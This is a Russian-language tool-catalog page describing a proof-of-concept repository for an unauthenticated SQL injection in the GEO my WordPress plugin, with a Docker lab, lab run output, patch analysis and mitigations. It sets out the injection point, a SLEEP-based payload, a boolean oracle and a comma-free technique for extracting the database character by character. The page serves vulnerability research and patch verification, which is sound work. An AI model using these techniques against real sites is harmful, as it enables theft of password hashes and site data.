Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
POC-GeoLeak-CVE-2026-52715 — Рабочий PoC для CVE-2026-52715 (GeoLeak): неаутентифицированная SQL-инъекция (SQLi) в GEO my WordPress <= 4.5.5 через swlatlng/nelatlng. Docker-лаборатория + time-based/boolean-based эксплойт + эксфильтрация без запятых в payload. | Kitploit
Инструменты/GitHubGitHub/686f6c61/poc-geoleak-cve-2026-52715
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHub686f6c61/poc-geoleak-cve-2026-52715

POC-GeoLeak-CVE-2026-52715

Рабочий PoC для CVE-2026-52715 (GeoLeak): неаутентифицированная SQL-инъекция (SQLi) в GEO my WordPress <= 4.5.5 через swlatlng/nelatlng. Docker-лаборатория + time-based/boolean-based эксплойт + эксфильтрация без запятых в payload.

Репозиторий
427 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

GeoLeak — PoC для CVE-2026-52715

Образовательный Proof of Concept GeoLeak (CVE-2026-52715): неаутентифицированная SQL-инъекция (CVSS 9.3) в плагине GEO my WordPress <= 4.5.5 для WordPress. Параметры swlatlng и nelatlng границ карты интерполируются без санитизации в предложении WHERE. Автономная Docker-лаборатория + эксплойт с техниками time-based, boolean-based и посимвольной эксфильтрацией.


Содержание

  1. Краткое описание
  2. Правовое уведомление
  3. Архитектура цепочки
  4. Требования
  5. Структура репозитория
  6. Краткое руководство по использованию
  7. Проверка эксплуатации
  8. Технический анализ
  9. Официальный патч (4.5.5.1)
  10. Меры защиты
  11. Авторы
  12. Лицензия

Краткое описание

CVE-2026-52715 — SQL-инъекция (CWE-89) в функции gmw_get_locations_within_boundaries_sql() плагина GEO my WordPress, затрагивающая все версии и исправленная начиная с версии (15 июня 2026 года). Она была обнаружена исследователем и опубликована через Patchstack.

<= 4.5.5
4.5.5.1
alvarodh5

Цепочка, названная GeoLeak, демонстрирует, как, имея только доступ на чтение к любой публичной странице, содержащей шорткод [gmw], атакующий может:

  1. Внедрять произвольный SQL через параметр swlatlng (или nelatlng) строки запроса — без cookie, nonce и аутентификации.
  2. Вызывать измеримые задержки с помощью SLEEP() (time-based blind), вычисляемого для каждой строки INNER JOIN с wp_gmw_locations.
  3. Использовать оракул "total_results":N, который сам плагин встраивает в JSON-конфигурацию карты, для вывода булевых условий (boolean-based blind).
  4. Эксфильтровать всю базу данных посимвольно, обходя ограничение, из-за которого payload не может содержать запятые (PHP разбивает значение через explode(',', ...)), с помощью CASE WHEN и SUBSTRING(x FROM n FOR 1).

Результат — произвольное чтение базы данных WordPress: таблица wp_users (хеши паролей), параметры конфигурации, ключи и данные сторонних плагинов.

В PoC проверяется полное извлечение VERSION() MariaDB только с помощью GET-запросов.


Правовое уведомление

Этот репозиторий содержит строго образовательный и защитный материал.

  • Цель: продемонстрировать цепочку эксплуатации в образовательных целях, для собственного аудита и проверки патчей.
  • Разрешённое использование: запускайте только против систем, которые принадлежат вам или на которые у вас есть явное письменное разрешение. Встроенная Docker-лаборатория — единственная предусмотренная среда.
  • Запрещено: любое использование против систем третьих лиц без согласия. Автор репозитория не несёт ответственности за неправомерное использование представленных здесь материалов.
  • Ответственность: оператор несёт единоличную ответственность за соблюдение применимого законодательства (LOPD/RGPD в Испании, CFAA в США и т. д.).

Архитектура цепочки

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│  1. Peticion publica sin autenticar                                 │
│     GET /?page_id=5&form=1&action=fs&swlatlng=<payload>&nelatlng=…  │
│     pagina publica con shortcode [gmw form="1"]                     │
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  2. GMW_Form::set_default_values()                                  │
│     action=fs => formulario marcado como enviado                    │
│     get_form_values() toma $_SERVER['QUERY_STRING']                 │
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  3. gmw_get_form_values() (gmw-functions.php:512)                   │
│     parse_str($query_string, $output)  sin lista de permitidos      │
│     $output['swlatlng'] llega intacto                               │
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  4. parse_query_args() (class-gmw-form-core.php:794)                │
│     gmw_swlatlng / gmw_nelatlng copiados a los argumentos de busqueda│
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  5. gmw_get_locations_within_boundaries_sql() (gmw-functions:669)   │
│     $sw = explode(',', $southwest);                                 │
│     "AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} )"  │
│     interpolacion directa: sin prepare, sin validacion              │
└──────────────────────────────────────────────────┬──────────────────┘
                                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│  6. WP_Query -> $wpdb->get_results()                                │
│     SQL: ... AND ( gmw_locations.latitude BETWEEN                   │
│            1 AND SLEEP(5) AND 40.416775 AND 41 ) ...                │
│     respuesta retardada 5s / total_results = oraculo                │
└─────────────────────────────────────────────────────────────────────┘

Требования

  • Docker и Docker Compose (проверено с Docker 29.4.1 / Compose v5.2.0)
  • curl и awk для эксплойта
  • Свободный порт 3080 (или измените проброс портов в docker-compose.yml)

Структура репозитория

root@kitploit:~
POC-GeoLeak-CVE-2026-52715/
├── docker-compose.yml          WordPress 6.8 (PHP 8.2) + MariaDB 11
├── docker/
│   ├── Dockerfile              Imagen WP + WP-CLI + entrypoint del laboratorio
│   ├── lab-entrypoint.sh       Arranque + siembra automatica en el primer boot
│   ├── seed.sh                 Instalacion WP, formulario, post geolocalizado
│   └── geo-my-wp/              Plugin GEO my WordPress 4.5.5 (codigo vulnerable)
├── poc/
│   └── poc.sh                  Exploit: time-based + boolean-based + exfiltracion
├── docs/
│   ├── analisis-tecnico.md     Cadena completa request -> SQL, con codigo
│   └── diff-parche-4.5.5.1-gmw-functions.php.diff   Parche oficial real
├── LICENSE
└── README.md

Краткое руководство по использованию

root@kitploit:~
# 1. Levantar el laboratorio (primer arranque: 60-90 s)
docker compose up -d --build

# 2. Comprobar que la siembra termino
docker compose logs wordpress | grep lab-entrypoint
# [lab-entrypoint] laboratorio listo

# 3. Ejecutar la PoC
./poc/poc.sh

# 4. Destruir el laboratorio
docker compose down -v

Настраиваемые параметры эксплойта:

root@kitploit:~
TARGET=http://localhost:3080 PAGE_ID=5 FORM_ID=1 SLEEP=5 ./poc/poc.sh

Доступ к WordPress: http://localhost:3080 с admin/admin. Страница с уязвимой формой: http://localhost:3080/?page_id=5.

Примечание: стартовая запись в wp_gmw_locations обязательна. Запрос использует INNER JOIN с этой таблицей: без записей внедрённый WHERE не выполняется и SLEEP() не срабатывает.


Проверка эксплуатации

Реальный вывод последнего запуска против лаборатории (14 августа 2026 года):

root@kitploit:~
$ ./poc/poc.sh
===================================================
 CVE-2026-52715 | GEO my WordPress <= 4.5.5
 SQLi no autenticada via swlatlng/nelatlng
 Objetivo: http://localhost:3080
===================================================
[*] Prueba time-based (SLEEP 5s)...
    Peticion benigna : 0.037000s
    Payload SLEEP    : 5.034984s
[+] VULNERABLE: retardo de 5.034984s confirma la inyeccion SQL
[*] Prueba boolean-based (oraculo total_results)...
    Condicion TRUE  -> total_results=1
    Condicion FALSE -> total_results=0
[+] VULNERABLE: el numero de resultados depende de la condicion inyectada
[*] Extraccion de VERSION() caracter a caracter...
[+] VERSION() = 11.8.8-MariaDB-ubu2404
[*] PoC completado

Перекрёстная проверка напрямую против базы данных:

root@kitploit:~
$ docker exec cve-2026-52715-db mariadb -u wordpress -pwordpress wordpress \
    -N -e "SELECT VERSION();"
11.8.8-MariaDB-ubu2404

Против пропатченной версии (>= 4.5.5.1) фаза time-based отвечает за миллисекунды, и PoC завершается с [-] No se detecto retardo (objetivo posiblemente parcheado >= 4.5.5.1).


Технический анализ

Полные подробности с фрагментами кода и точными строками — в docs/analisis-tecnico.md. Ключевые моменты:

  • Sink: gmw_get_locations_within_boundaries_sql() интерполирует {$sw[0]}, {$sw[1]}, {$ne[0]}, {$ne[1]} напрямую в WHERE (все четыре точки инъекционны).
  • Source: gmw_get_form_values() обрабатывает всю строку запроса через parse_str() без списка разрешённых параметров.
  • Ограничение эксплойта: payload не может содержать запятые, потому что PHP выполняет explode(',', $southwest). PoC использует CASE WHEN a THEN b ELSE c END вместо IF(a,b,c) и SUBSTRING(x FROM n FOR 1) вместо SUBSTRING(x,n,1).
  • Булев оракул: встроенный JSON карты раскрывает "total_results":N; эксплойт калибрует диапазон длины (-10..1), чтобы стартовая запись выживала при истинном условии.
  • Техники: проверены time-based и boolean-based; UNION-based теоретически возможна (нужно согласовать столбцы wp_posts.* плюс поля gmw); error-based нецелесообразна (wpdb подавляет ошибки).
  • Отброшенные AJAX-эндпоинты: три обработчика wp_ajax_nopriv_* плагина либо не выполняют SQL (бесплатная версия), либо защищены nonce. Вектор CVE в бесплатной версии — это GET формы.

Официальный патч (4.5.5.1)

Полный реальный diff — в docs/diff-parche-4.5.5.1-gmw-functions.php.diff. Между 4.5.5 и 4.5.5.1 отличаются только три файла (geo-my-wp.php — версия, readme.txt — журнал изменений, и includes/gmw-functions.php):

  1. Новая проверочная функция gmw_parse_latlng_boundary(): требует ровно 2 конечные числовые части с |lat| <= 90 и |lng| <= 180.
  2. gmw_get_form_values() отбрасывает через unset() значения, не прошедшие проверку.
  3. Сток переписан с использованием $wpdb->prepare() и маркеров %f.

Текущая версия плагина: 4.5.5.3 (июль 2026 года), пропатченная.


Меры защиты

  1. Обновиться до GEO my WordPress >= 4.5.5.1 (основная мера).
  2. Если обновление невозможно немедленно: правило WAF, блокирующее нечисловые значения в swlatlng/nelatlng, или виртуальный патчинг (Patchstack и аналогичные).
  3. Проверить, нужен ли публичным формам [gmw] поиск по границам карты.
  4. Отслеживать в логах аномальные обращения с паттернами swlatlng/nelatlng.
  5. Если сайт был подвержен уязвимости: ротировать секреты и пересмотреть хеши wp_users — инъекция позволяет их прочитать.

Авторы

  • Обнаружение: исследователь alvarodh5 (сообщено 10 апреля 2026 года, опубликовано 15 июня 2026 года через Patchstack).
  • Карточка Patchstack
  • Запись NVD CVE-2026-52715
  • GEO my WordPress на wordpress.org

Лицензия

MIT

Скачать инструмент